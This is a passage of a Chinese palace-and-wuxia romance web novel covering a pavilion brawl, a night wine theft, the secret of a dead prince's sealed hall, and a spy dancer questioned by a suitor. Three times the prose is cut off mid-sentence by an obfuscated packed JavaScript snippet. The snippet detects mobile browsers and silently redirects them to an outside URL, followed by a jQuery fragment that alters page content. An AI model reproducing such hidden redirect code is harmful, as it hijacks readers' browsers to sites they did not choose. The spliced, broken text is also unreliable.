红娘见状赶紧过来劝架:“二位爷,二位爷,今日是怎么了,怎么一个个地火气都这么大!元英,拿点冰酿来给二位爷消消火儿。”又拉着杨柯凑近道:“这几个是京城东街坊有名的地痞,今日被芮伊吃了个闭门羹,脸上挂不住,杨公子你快消去招惹啦!” 那马脸男仍是不依不饶:“你算什么王爷,”轻蔑地上下打量着她,“小子,你今天不给老子跪下道歉,信不信老子现在就把你扔下去!” 杨柯装作求饶:“吓死我了,爷饶了我吧!” 他见杨柯的气势一瘪,立马冒出□□,“哟呵,长得倒是俊俏,是不是哪家小姐偷偷跑出来的?”刚走上前要拍她的脸,杨柯猛地踹向他下身,马脸顿时爆发一阵驴叫。 杨柯冷哼一声:“想占我便宜,就凭你?”话音刚落,她突觉身体一轻,整个人竟被提到了半空中。 “啊——”她惊恐大叫,试图靠这喊声威慑对方。可他人多势众,又一贯嚣张,哪里会在意这些。 眨眼间她便被拎到一个强壮如狗熊的壮汉身前,这人高出她整整一个头,黑黑的气压从头顶倾盖下来。 “你是打哪儿来的?”狗熊男开口问道,声音恍若闷炮一般。红娘在边上劝得快要口舌生疮,可这狗熊仿佛自带一层结界,把杨柯和他二人彻底和附近隔绝开来。 杨柯一颗心提到了嗓子口:“大爷,我就是个小商贩子,您……”话还没说完,身后的门忽地打开——“王公子,俗话说打狗还得看主人,您随随便便就在紫英阁里动手,是不是失了点儿礼数?” 在场的男子见芮伊终于露面,眼睛就像饿狼见了肉一般直冒精光。这狗熊当然也不例外,可他的手仍不放松,杨柯被他扯得喘不过气来,小脸越憋越红,索性使劲咳嗽起来。 “既然芮伊姑娘放话,哪里有不听的道理。”狗熊一双眼睛像生了根似的,直勾勾地粘在芮伊脸上,说话间手却忽地松开,杨柯哪料到他出这阴招,猝不及防地直直往下坠去,竟被另一只手稳稳接住。 她抬头一看,是个白衣男子,心里又不禁一荡。此人长相虽不如伯喻,但通身的气派却与他不相上下。是自己吓懵了,还是眼花了?难道是她思念成疾,见着一个白衣男子就当成伯喻喜欢上了? “王大人真是好身手,再晚一点儿,恐怕舍弟就要横尸在紫英阁的门前了。”此人声音竟也和伯喻的相差无几。 那狗熊仰天大笑:“原来是你啊。周公子美名在外,我说今晚芮伊为何闭门不出。”说完脸上笑容瞬间消失,露出凶光,“你真当自己风流倜傥,还能霸占了芮伊去?”说着便拍掌而来。 杨柯正欲张口惊呼,忽感到腰间手臂一个用力,登时便被带着越出栏杆,飞到了十丈之外。 “王公子是不是弄错了,芮伊乃是紫英阁的人,何时成在下的了?”即便手里有杨柯这个拖油瓶,他的脸上仍旧优雅带笑。 狗熊见偷袭不成,恼羞成怒:“你休想狡辩,今天就把你这小白脸儿打成落汤鸡!”说完便大喝而来。 周公子低头对杨柯柔声道:“阿柯,你先到红娘边上去。”说完便放开了她,抬起折扇迎了上去。 杨柯一面痴痴地瞧着此人,一面狐疑不决,自己与他素未谋面,他怎会知道自己的名字? 那狗熊口里骂得地动山摇,挥起长刀狠狠劈来,只见周公子脚尖轻点地面,身子一飘,侧身掠过狗熊,同时右手食中二指并拢,直点对方持刀手腕的“阳池穴”。这一指又快又准,狗熊只觉手腕一麻,长刀当啷一声掉落在地,疼得他哎哟直叫。 两个狗腿子见大哥占了下风,也撸起袖子加入了战局。杨柯一看,这三打一,周公子岂不是处于劣势?她今晚本就一股热乎劲儿使不完,于是扯着嗓子大声斥道:“姓王的,你算什么男人,居然以多欺少!芮伊怎么可能看得上你!”被她的话激中,那狗熊登时转头对着她强攻过来。杨柯赶忙抬脚逃跑,一个闪身就窜到了楼顶。狗熊见追不上她,气的一掌将桌子打烂,底下望着的红娘心疼大哭。 剩下两个地痞一个举刀下劈,一个横刀平削,对着白衣呼啸而去。白衣男子如鬼魅般翩然一转,左手顺势抓住下劈短刀的刀背,右手则屈指成爪,轻轻一抓,竟将平削而来的短刀刀身稳稳抓住。“咔嚓” 两声,两把短刀竟硬生生被他折断。那两个地痞惊得目瞪口呆,还没等他们反应过来,公子飞起两脚,正中两人胸口。这两脚看似轻飘飘的,却将两人踢得向后飞出数尺之远,重重地摔倒在地,半天爬不起来。 见这三人被打得服服帖帖,倒地哀嚎,杨柯心里别提多高兴了,笑嘻嘻地凑上前去,大声道:“王大哥,小弟还等着看您大展身手呢,怎么,才刚开始就当着大家的面跪下了?” 那狗熊双目圆瞪,猛地抬手要来抓她。杨柯吓得一个激灵往后退,身旁的周公子劝道:“不用同他们多费时间。”说完便掏出一个钱袋,递向红娘,“这是今晚的赔偿,我和杨兄礼数不周,还请红娘见谅。”说着对红娘交手行了个礼。 红娘一时没反应过来,忙道:“周公子,你也太客气了。”但手还是听话地将钱袋揣进了袖袋里。 他浅笑颔首,转身离开,杨柯也跟着他走了出去。 夜晚的凉风吹到脸上,将方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293078|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才的激荡和莽撞也吹走了。 周公子虽然走得不快,但他人高,步子大,杨柯小跑着才追上他。将将平了呼吸,杨柯探了探身侧之人,迟疑着轻唤一声:“伯喻?” 对方展颜笑道:“还是没瞒过阿柯。” 在这寻常街道上,伯喻一身白衣,显得尤为鹤立鸡群,但今晚杨柯却感觉自己与他的距离好像又近了一点。 “你怎么也来紫英阁了?”她轻声试探问道,“你也和芮伊认识吗? 他的神色严肃了些:“她是我的一个旧友。” 杨柯心里一阵复杂,又不好再继续问下去,只能低头沉默。 “阿柯呢?为何会出现在紫英阁?” 伯喻看向杨柯,她心中忽地跳了一下,耳尖微红,结结巴巴地回道:“我也……也不常来。”不知为何,若是旁人问起,她定会脸不红心不跳地承认,甚至是对程玉槿也不怵,可偏偏在伯喻面前,她却不敢承认自己喜欢这烟花之地。 伯喻眉眼含笑,语气意有所指:“红娘最近开了霓裳羽衣曲,今晚看了一遍,十分不错,听说是位宫里的朋友带给她的。” “是吗?那她这朋友可真够仗义!”杨柯佯装惊讶,可一对上伯喻颇有意味的眼神,又自动蔫了下去,酒意上涌,嘴里开始叽里咕噜地念叨起来,“自打我十三岁起紫英阁便开在东城,红娘一手将它从不足五十平方的小酒馆扩张到现在这个局面,作为掌柜的,人脉自然神通广大,拿到宫里的谱曲又何尝是个难事。”说完又飞快地朝他瞄了一眼。 伯喻捉到她的视线,满眼洞悉,他装作领悟地点了点头:“原来如此,那你是如何知道紫英阁的从前?” 杨柯被他问得不知如何回答,平日里的小聪明在他面前全都一溜烟儿不知飞到哪儿去了,只好低头闷闷道:“我很早便认识红娘了,进宫之前也天天来,霓裳羽衣曲就是我给她的。” 许久都未听到他的回应,杨柯好奇地抬眼去瞧他,而伯喻正意味深长地凝视着她,伸手揽上她的肩,轻声道:“阿柯,我知道你向来与红娘交好,可如今紫英阁并非太平之地。今晚的遭遇就是个教训,日后还是少来为妙。” 杨柯心里一酸:“为何?难道就因为紫英阁是烟花之地?” “是,也不全是。我敬重红娘侠义肝胆,能容纳天下薄命佳人,但其间鱼龙混杂,最容易成为危险势力的藏身之地。所以,我担心你会被暗处的势力误伤。” 杨柯呆呆地望着他清澈的眼眸,那一双眼里写满了关心和温柔,也许是酒意作祟,她贪婪自得地享受着老天赐予的短暂眷顾,随即脑子一热,问道:“那你呢?你来不来?” 伯喻倒也没太惊讶,面色沉静道:“若非必要,我当然不会来。” 杨柯脆声道:“那就是说,还会来咯?” 伯喻也像是喝醉一般,卸下了平日的礼貌和疏离,伸出手指刮了刮她的鼻尖,薄怒道:“是啊,但若下次再碰到你,我定要把你直接抓回翠微殿去。” 一缕松香瞬间包裹住她的鼻腔,眼前伯喻的笑颜恍若夜里开出的昙花,杨柯的心跳瞬间漏了一拍。 伯喻见她又呆望着自己,低笑一声,眼里却盈满了笑意,提起脚步继续往前走了。 杨柯这才回过神来,赶紧快步追上他,伯喻也放缓了本就不快的步伐,两个人肩并肩地走向宫门。 21.瑞麟殿 回到凌薇苑,杨柯心情大好,疾冲去酒柜寻酒来喝,结果酒柜里空瓶哐啷,她大失所望。忽而想起前几日乐白提到宫中的酒膳坊,许是今晚波折不断,她的胆子也大了起来,冒出了偷酒的念头。她趴在门缝往外探去,只有个值夜班的小内监在门口打瞌睡。于是回去换上遁光衣,轻手轻脚地出了门,往云昌吉所在的武华殿奔去。 武华殿内,烛光摇曳,东厢的瑞云阁里,云昌吉正呆呆凝视着桌上的卷轴。杨柯轻轻推开窗户,闪身一跃,落在地上,蹑手蹑脚地走向云昌吉的书桌,一把便将他手里的卷轴抽了过来,“大半夜的不睡觉,又在研究什么宝贝呢?” 云昌吉抬头一看,见是她,随即喜出望外道:“诶,你回来了?来的路上可没叫人瞧见吧?” 杨柯斜睨他:“若是叫人瞧见,我还能站在这里跟你说话不成?” “那就好。”云昌吉一脸神秘,“阿柯,你是如何出宫,又如何回来的?” 杨柯想起方才和伯喻的事,脸上忽地一红:“我还没问你怎么出去的呢!” 云昌吉疑惑道:“诶,你的脸怎么这么红?乐白点的酒全让你给喝啦?” 杨柯被他逗笑,心里也松了口气,余光瞥见桌上卷轴画着一名女子,看其长相和郡主倒很相似,于是调侃问道:“昌吉,这是哪家的妹妹?” 云昌吉脸忽然一红,磕磕巴巴地道:“我昨日做梦梦到的。” “害羞什么呀,我早看出来了。” “你……你可别跟乐白说,我怕她生气。”云昌吉将桌上的卷轴合上,卷轴底下的一块玉佩露了出来,杨柯视线落去,青绿色的玉佩泛着幽光,上面还有鹰隼的图案,这不就是逍遥居的图腾? 她刚要开口询问,便见云昌吉一把将卷轴拖了上来,盖住了玉佩,“你半夜来我这不会是跟我闲聊吧?我可没兴致。” “当然不是。”杨柯故作神秘地靠近他,“我前日同乐白聊天,得知了个好玩意儿,想不想听听?” 云昌吉眼睛一亮:“什么好东西?” 杨柯环顾四周,确认无人后,才缓缓开口:“酒膳坊藏了几坛上好的玉泉酒,但玉泉酒所在的地窖在酒膳坊深处,不好找,不过那可是珍馐之品,只有宫中宴会之时才能喝到,同咱们以往喝的可是绝然不同!今晚咱们就去把它找出来如何?” 云昌吉听完爽快答应,两人一前一后溜出武华殿的外墙,朝着酒膳坊的方向行去。从少年开始,他们便常常跑去京城各个官宦家中搬运美酒佳酿,溜门撬锁已是家常便饭。两人轻手轻脚地进入坊内,四处找着通往地窖的地下通道。但寻觅了半天机关的痕迹,都并未找到入口。 “有没有地窖哇?你莫不是又弄错了?” “明明就是这里啊?” “谁在屋里?”一道尖利而响亮的声音响起,多半是酒膳坊的公公起夜听见了动静。 两人心中一紧,对视一眼,“分头跑!”云昌吉迅速吹灭烛火,掷起一坛酒往西边一扔,刺耳的响声立刻吸引刚来的追兵,他随即一个翻身跃出窗户,消失在夜色中。 “跑得真快!”杨柯咒骂道,说着身形一展,朝着另一个方向跑去。正当她刚刚攀上另一座宫殿的房檐时,一个侍卫突然在底下大喝一声:“站住!”竟然还有几个侍卫在这里守株待兔,杨柯一个情急直接翻墙跃进了面前的宫殿,身后的追兵见她跑了进去,竟堵在门外不敢进来。杨柯正感奇怪,视线一转,忽见壁上所悬巨幅图轴——那画虽已略显斑驳,却仍能辨认出画中人物栩栩如生。绘中少年皇子方七八岁,既有他骑马驰骋于草原之英姿,又有于花园中赏花对弈的优雅之态。 不过让杨柯奇怪的是,那皇子的长相不仅与宇文泰有五分相似,而且同林骞更是一模一样! 这宫中的主人是谁?想到此,她不禁打了个冷颤。此时已是子时,夜深人静,就连方才追捕的侍卫也不见了踪迹。再四顾一圈,地上的毛毯已褪去昔日的鲜艳,边缘也已经有些磨损,空气中弥漫着淡淡的熏香与一丝不易察觉的霉味。这殿内虽极尽奢华,但看来似乎人迹罕至。杨柯不敢继续往下细想,又探头巡视四周,趁着无人之际攀上了屋檐。 她正趴在屋顶瓦片上四处张望,手心不断渗出的汗水浸得砖瓦愈发滑腻,攀附起来也愈发吃力。正当她准备旋身换个姿势时,忽听一阵不疾不徐的脚步声从近处传来,“杨姑娘,大半夜的跑到房顶上趴着,怎么,嫌宫里的床不够硬?” 杨柯循声望去,宇文泰身着便装,正负手站在不远处的一棵树下,眼神中尽是嘲弄。 “怎么是你?”杨柯一时语塞,在这里遇到他,根本就是难逃一劫。况且自己已经与他水火不容,如今又被抓个正着,不知道会不会因此被赶出宫去,转念一想,这样好像也还不错。 他仿佛会读心术似的,悠悠然道:“你若是被我抓回去,可就不止出宫这么简单了。” 杨柯只觉喉头一紧,还未开口,却听他道:“别紧张,直接抓你太无趣了。不如,我们来玩个游戏?” “什么游戏?” “别急。”宇文泰触上她的视线,“我给你两个线索,若你能按照线索找到出路,我就当今晚的事没发生过,如何?” 还有这等好事?眼下似乎也没有更好的选择了,杨柯答应道:“好,一言为定。” 宇文泰随即给出了第一个线索:“月影之下,水波不兴,有桥通幽。” 杨柯愣了一瞬,又立刻望向月亮,发现月光正好洒在一处池塘上,而池塘边果然有一座小桥,看似通往一个较为隐蔽的角落。 她本想直接跳下去,但还是朝四周望了望,确定没有侍卫之后,才轻轻落地,又顺着他给的线索朝小桥跑去。 宇文泰则在不远处跟随,脸上挂着一丝意味不明的微笑。 到了小桥边,为了不暴露身形,她缩在门廊的阴影里,回头望向宇文泰:“第二个线索呢?” 还没等宇文泰开口,乍听见廊桥的尽头响起一阵脚步声。杨柯心下一紧,赶紧环顾四周,搜寻着藏身之处,可这小桥周围空空荡荡,纵使躲在廊柱后也很难不被发现。正心急如焚,忽然被人揽住了腰,身子一轻,眨眼被带进了厢房内。 眼前顿时漆黑一片,宇文泰一手将她箍在身前,另一只手捂住她的嘴。 “唔……”杨柯拼命蹬着脚挣扎,想从他身上离开。 “别出声,”宇文泰俯首在她耳边低语,“现在只有我能帮你。”一股龙涎香顺着他的手传了进来。 “殿下,方才听见您这边有声响,可有贼人的踪影?” “不知道从哪儿来的猫溜进了殿里。”宇文泰的声音在头顶响起,十分淡定舒展。 “是否需要属下……”男子欲进来,宇文泰立刻拦下,“那猫已经找到,这里不需要你了,南侧的几处宫门搜了没有?” “还未……属下这就去!”一阵盔甲撞击之声重又响起,离得他们越来越远。 四周又安静了下来,只听得见杨柯胸膛里响亮的心跳声。她身后传来一声嗤笑:“胆子真小,一个侍卫就把你吓成这样。” 杨柯欲开口反驳,可心跳声却做不了假,只好挣脱开他的双手。可惜视野狭窄,只能通过窗棂里穿入的月光看见很小的亮堂,刚往前一步又撞上了屏风。 “哎哟!”她疼得捂住额头。 宇文泰的笑声更大了,肩膀随着笑意轻轻颤动,害怕他的声音再将方才那人引来,杨柯忙上前捂住他的嘴:“嘘,小点儿声。” 宇文泰眼眸中忽而闪过一丝狡黠,目光直勾勾地,“我反悔了。”说着向她倾身靠近,“这么轻易就放你走,是不是太对不起你立下的豪言壮语了?” 杨柯干咽了一口,脸上挤出微笑:“哪里哪里,我们来日方长,殿下还有机会与我继续较量。” 他轻笑一声:“是么?”指尖轻勾她鬓边一缕发丝,“杨姑娘,不是说一旦向我屈服,就要自废武功么?你这牛皮破得也够快啊。” 杨柯见势不好,小脸一垮,捏起了哭腔来:“殿下,我一介弱女子,如今落得这般田地,你又何苦跟我计较呢?” 宇文泰目光凉凉,丝毫不为所动:“你若真能掉下几颗泪来,我便让你大摇大摆地走出瑞麟殿的大门。” 杨柯顿感无语,这人脾气向来难以捉摸,不知道他下一句又是什么,况且她也没时间再跟他耗下去,索性一个迅速,伸手封住他的膻中穴,不料他眼疾手快,一把将她擒住。 宇文泰冷哼一声:“嘴上抹了蜜一样,但我看你下手可一点儿都不轻。” 杨柯急道:“君子一言,驷马难追。你答应了要放我走,怎能反悔?” 他疑惑道:“谁是君子?” “你!”杨柯气得噎住。 “我?我可不是。” “你想怎么样?” 宇文泰装作思考状,温热气息轻轻扫过她的耳畔:“今日算你欠我一个人情,来日我找你讨要,可不准反悔。” 宇文泰好以整遐地看着杨柯,而她一脸迟疑,二人就这么僵持着。继续耗下去,迟早会招来那帮侍卫,杨柯心一横,侧首向他确认:“你说话可算数?” “当然。” “好,我答应你。” 宇文泰唇角漾出一笑,带着一丝猎物落网的快感:“此刻屋外无人,你可以走了。” 杨柯不敢信他,趴在窗檐上从缝中巡视了一圈,确定无人后,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298680|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他勉强一笑:“多谢殿下指点。” 她正欲转身,却被宇文泰突然叫住:“等等!” 杨柯转头看去,他的脸上又恢复了往日的疏离,一双眼瞳在暗夜里如黑曜石般冷冽泛光:“不管你在殿内看到了什么,今晚之事,切莫告诉任何人。” 杨柯一时疑惑,但时间要紧,只答道:“好!”说完便从窗口溜了出去。 想来宇文泰也知道殿内的奇怪之处,可那人明明不是他,又会是谁?不遑多想,附近又响起了侍卫的脚步声,她立即一蹬,飞出了宫墙外,成功离开了瑞麟殿。 次日,酒膳坊被偷的消息传遍了皇宫,仅仅一夜的功夫,宫内侍卫多了一倍,晚上的宫禁也更加严格了。晌午时分,杨柯同乐白一齐在咸毓宫内用午膳。 “不知道是哪来的贼人,弄的宫中人人自危。”乐白的侍女丹橘刚从内务府回来,手里拿着刚领会来的酒酿,一边进来,一边抱怨。 乐白放下手中的银勺:“丹橘,怎么回事?” “回郡主,昨夜酒酿坊进了贼,所幸被侍卫及时发现,玉泉酒才得以保住。” 醒初煞有介事地补充道:“不止如此呢,听小夏子说,其中一个贼人进了瑞麟殿!” 丹橘惊道:“瑞麟殿?那不是……” 乐白出声喝止:“丹橘!” 杨柯疑惑地看着她们,只见丹橘垂首而立,似乎十分懊悔自己嘴快,醒初也垂着头,仿佛瑞麟殿是什么禁语一般。那不就是昨夜闯进的宫殿吗?杨柯又想起了殿内的画轴,感觉十分蹊跷。但见乐白的样子,现在贸然询问恐怕也没什么用,只好装作没事,继续吃饭。 用完午膳后,乐白回到寝殿午憩,醒初走出屋子,杨柯趁机跟了过去:“醒初,方才你们提到那贼人藏在瑞麟殿,可知最后找出来没有?” 醒初闪躲着目光:“这个……奴婢也不知。侍卫们的事情,我们怎么会知道呢。” “哎呀,你家郡主又不在此处,现下就你我两个人,你告诉我,我也不会告诉别人。” 醒初仍是死不松口:“奴婢真的不知。大人,这种事情还是少知道的好。” 杨柯伸出食指:“一盒枣泥酥。” 醒初眼睛一亮,迟疑了一瞬,以甩头作结。 杨柯又伸出两根手指:“三盒,如何?” 醒初蹙眉咬唇,还是摇头。 杨柯无奈道:“五盒枣泥酥,外加一壶碧螺春。” 醒初的瞳孔顿时大了一圈,吞了口唾沫,小脸憋得粉红,左足往地上一顿,终于道:“行,不过枣泥一定要热的。” 杨柯对她一笑:“没问题。” 醒初朝四周望了望,确定无人后,用手笼在嘴边,低声道:“听小夏子说,昨夜连羲王爷也去了瑞麟殿,但好像并未捉到贼人。” 杨柯故作惊讶道:“羲王怎么会去?只是抓个偷酒的贼而已,何必兴师动众?” “姑娘可不知,这瑞麟殿不是一般地方,宫中能进入瑞麟殿的除了陛下和宸妃娘娘,也只有羲王爷了。” 听她这么一说,杨柯更好奇了:“瑞麟殿到底是何人的居所?” 醒初用气声道:“是三皇子的旧居。” “三皇子?他在哪里?好像进宫以来从未听人提起过三皇子。” 醒初赶忙捂上杨柯的嘴,“大人小声些!若是被人听见,我们可就完啦!”她虽害怕,但也是竹筒倒豆子,把话全都倒了出来,“三皇子名唤宇文麟,他是宸妃娘娘第二子,比羲王殿下小两岁。三皇子八岁时得了一场大病,就在十二年前命丧于瑞麟殿内。那之后宸妃娘娘大恸,命人封锁了瑞麟殿,不仅如此,所有人也不许再提三皇子,提者论斩!”说着便抬手做了个手刀的手势,“从此以后,瑞麟殿和三皇子就成了宫里的禁语。众人皆默认宸妃娘娘只有羲王殿下一个孩子。” 她见杨柯神色木然,以为她被唬到了,于是伸手在她面前晃了晃,“大人?大人?” 杨柯忽然惊觉,浑身一震:“噢!”她方才听着醒初的话入了神,思绪飞到了林骞身上,“你方才说,宇文麟八岁时便已丧命,此事当真毫无虚假?” 醒初神色笃定,应道:“绝无半句虚言!殿下的棺椁如今还在皇陵之中安置着。虽说我进宫的时日稍晚,可当年亲历此事的嬷嬷们,都能证实三皇子早已不在人世。” 杨柯点点头,又再闲聊几句后便回到凌薇苑去了。已故皇子成了宫中的禁语,其长相又和宫外的一人全然相同,更巧的是,这些人全叫她碰上了。怪不得第一次见到宇文泰时,她会将其认作林骞。既然宇文麟去世是板上钉钉的事,也许这个巧合正如林骞自己所说,长相相似的人何其多,只不过是皮囊而已。 22.迷情 今晚是芮伊演绎《霓裳羽衣曲》的正式演出,几乎京城所有的男子都会聚到紫英阁,一睹花魁芮伊的芳容。演出时,芮伊舞姿曼妙,惊艳全场。一曲舞罢,芮伊回到房内,取下冠钗,侍女赶忙上前,帮她取下冠钗,伺候梳洗,四周又归于宁静。 突然门被推开,红娘风风火火地走了进来:“芮伊,先别急着洗掉妆容,你猜猜今晚谁来了?” 芮伊拈起梳妆台上的玉梳,镜中眼神疑惑。 “林公子!”红娘语气激动,说着抬手抚上芮伊的肩,“林公子是逍遥居的少爷,出手一向阔绰,今晚他要单独见你。” 芮伊并不为所动,仍是慢悠悠地卸下头上的金钗:“妈妈今日是怎么了,阁里最不缺的便是富家公子,这林公子有何特别,值得妈妈如此兴师动众?” 红娘嗔了芮伊一眼,耐心道:“你有所不知,逍遥居虽不属于官府,但他们在江湖上的地位可是一等一的。咱们紫英阁若是能同逍遥居交上关系,那以后可不得了。” 芮伊停下了手里的动作,红娘眼尖,立刻接道:“今晚妈妈都安排好了,你去了林公子那,好好给他跳个舞,让他高兴了便是。”说着,掏出了怀里的钱袋,里面满满是金元宝,“这些当然不会少。” 芮伊抬手将钱袋退了回去:“妈妈这是什么意思,我本就是紫英阁的人,为紫英阁做事,不是应该的吗?” 红娘听她这么说,心里更高兴了,脸上笑开了花:“紫英阁有你芮伊在,真是我红娘上辈子修来的福分!”说完,便叫门外站着的侍女全都进来,“你们好好给芮伊梳妆,一定要比平时还好看一百倍!” 水榭台上,林骞一身松绿锦袍,倚在看台的檀木雕花椅上,指尖摩挲着青瓷茶盏。左右两位美娇娘正往他嘴里递去青葡萄。 舞台上的轻纱层层叠叠,随风轻轻摇曳。突然房内一暗,众人皆惊,不知不觉间轻纱般的薄雾已缭绕于幽静的水榭之间。只听丝竹之声遥遥传来,随着笛声,琴音缓缓进入。众人恍若来到了山林,眼前是青松绿竹、皎皎明月。黑暗中亮起了一盏明灯,明灯下一名女子莲步轻移,腰肢款摆,翩翩而来,站定于水榭中央的青石台上。 芮伊轻抬玉臂,足尖轻点,仿佛踏波而行。水面上,倒映着她曼妙的身影,与青石台上的倩影交相辉映,分不清是影在水中舞,还是人在画中行。随着乐曲进入高潮,她的舞步也愈发激烈,身姿却仍旧优雅。琴声渐息,她也渐渐收拢双臂,众人皆敛声屏息,生怕惊扰了这幅惊世之画。 “《霓裳羽衣曲》冠绝京城。果真是名不虚传。”林骞一边抬手鼓掌,一边走上青石台,“不知芮伊仙乡何处?”他的手掌轻轻拂过轻纱,似笑非笑,语气暧昧。 “浮萍漂泊本无根,天涯游子君莫问。”芮伊的声音顺着纱幔从另一边滑过来,飘飘忽忽,仿佛林骞手中的纱一般抓也抓不住。 “可我这个人,平生最怕两件事,一是鲜花被人糟蹋,二是美人无枝可栖。”林骞手上突然用力,登时便将薄纱从横梁上拽了下来,落了一地的洁白。 他缓缓地走向芮伊,挑起她的下巴:“不如跟了我去?” 芮伊迎上他的双眸,红唇微张:“只怕公子有心无力。” 林骞唇角弧度渐深,又向她靠近了一分:“若是千金,我也能将你赎回。”说完从怀中掏出一张信纸,递给了芮伊。 芮伊接过,低头凝了一眼:“林公子可当真?这可是你家家宅的地契。” 林骞挑了挑眉,饶是不为所动。 芮伊将信纸还给了林骞,忽地一闪身,脱开了他的牵制,轻俏一笑:“林公子的好意,芮伊心领了,可是林公子有所不知,”她嗔怪地看着林骞,“您的地契,好像是假的。” “假的?”林骞将地契放到眼前,仔细地看了看,怒得狠狠掷向空中,“老头子竟然给我来这一手!” 芮伊笑道:“林公子,你若是拿来真的又如何?这样的说辞,芮伊听得耳朵都起茧子了。” 林骞随意地坐下,靠在椅子上:“那你倒是给我讲讲,还有谁跟你说过?” 芮伊掩唇浅笑,竟真的伸出手指一个一个数了起来:“兵部左侍郎家的赵公子,江南巡抚家的王公子,户部员外郎家的林公子,”说到此处,芮伊轻笑,向林骞挑眉,“也是个林公子呢!” “好了,不用数了。”林骞不耐烦地摆摆手,施施然站起身来,脸上又恢复了调笑,“他们的家世我自然是比不上,不过有谁能像我一样欣赏你的舞姿呢?” 芮伊脸色微微一动,只听林骞道:“你跳的是《霓裳羽衣曲》,但舞步却用了柔然的‘流云回雪’,这种技法只有宫廷乐舞中才会出现。”他微微一顿,目光带着审视,“能这般娴熟运用的,我在其他乐坊也见过。可将其发挥到你这水准的,独你一人。” 林骞一步步向芮伊走去,而芮伊下意识地往后退了一步,又很快挪了回去,但这已让林骞尽收眼底。 “我方才问你从哪里来,你却顾左右而言他。芮伊,你就是如此对待你的仰慕者吗?”林骞眸中幽暗,目光如刀,死死盯着芮伊。 面对着林骞的步步追问,芮伊一直低眉不语,等到他话音落下,再抬起眼时,已是眼中噙泪,长长的睫毛如蝉翼般微微颤动着,两行清泪顺着肤色雪白的脸庞滑落下来。 林骞虽万花丛中过,可见了这番场面,仍是我见犹怜,心里也情不自禁地软了下来。 他抬手拂去芮伊颊边挂着的一滴泪,叹道:“乱世之中,红颜薄命。你若真心告诉我,我便好好待你。” 芮伊哀哀戚戚地道:“林公子方才的猜测并没有错。奴婢本是柔然宫中的一个舞姬,当年大夏攻进了城,我们乐坊所有的女子都被掳到了京城。卖的卖,死的死,芮伊能有今天,全仰仗红娘赏识,救我于危难。” 林骞的眼眸里满是心疼:“竟这般曲折,苦了你了。”一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302719|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉风吹来,掀起了地上的白纱,也拂去了芮伊本就快干涸的泪痕。他神情一收,望向芮伊的眼冷锐至极:“芮伊,我真心待你,可你却还是对我虚与委蛇。一介舞姬,怎么读得懂大夏的文字?” 芮伊也收起了眼泪:“不知林公子何出此言。” 林骞道:“你看得懂我家宅的房契,连假印也都清清楚楚,难道这也是紫英阁教你的?” 芮伊摇头叹道:“我自从跟随俘虏来了大夏,为求生存,逼着自己学你们的语言,读你们的文字。没想到今日,求生的苦心竟被林公子当作虚伪的证据。” 一声清亮的哨音在黑暗中响起,芮伊眼神忽地一凛,林骞自然也察觉到了,懒洋洋道:“哪里来的鸟,半夜也在乱叫?” 芮伊的眼中已是显而易见的慌乱,她垂眸慌忙解释道:“怕是红娘新养的雀儿跑出来了。” 林骞居高临下地审视着芮伊的一颦一笑:“芮伊,你若真在柔然宫廷里待过,应当知道赛比海。” 芮伊脸色一沉,又旋即转为黯然:“赛比海大人的名号自然是如雷贯耳。但柔然如今国力衰微,也不知道他所在何处。” 林骞轻笑一声,凑到她耳边道:“你们的大人现在就在京城,听说,今晚来了紫英阁。” 芮伊浑身一震,看向林骞的眸中满是警惕。 林骞满意地望向哨音的方向,嘴角含笑:“看来红娘在催促我了,下回再来看你。”说完便转身走向里间,独留芮伊立于青石台上。 此刻芮伊的脸上已全然不见方才的楚楚可怜,眸中满是杀意。她飞奔向自己的房内,确认一切正常后,将侍女支了出去,屋里一片寂静。 “姐姐!”只见三名黑衣人齐刷刷地跪在芮伊身前,“请姐姐代阁主惩罚我们吧!” 芮伊沉沉叹了口气,怒得挥手拍向一旁的鎏金柱子:“果真如此!他今日召我,就是为了调虎离山,让我无法与你们联络。” 其中一名黑衣人抬头问道:“姐姐说的是谁?” 芮伊并不理会他,只是问道:“赛比海来紫英阁了没有?” 众人纷纷摇头,个子小的那个说:“他根本没来,上次那封情报是假的!” 另一个年长的说:“不过赛比海今日确实现身,在西城的酒馆里,但早已被人截胡。” “原来这场戏早有安排。”芮伊冷声呢喃,“难道云昌吉那晚无意失言是他故意为之?今日林骞现身紫英阁,分明是想试探我的身份,确认我们是否在紫英阁设下埋伏。殊不知,他们的人早已赶在我们之前,将目标从酒馆掳走了。” “那我们接下来要去哪里抓赛比海?” 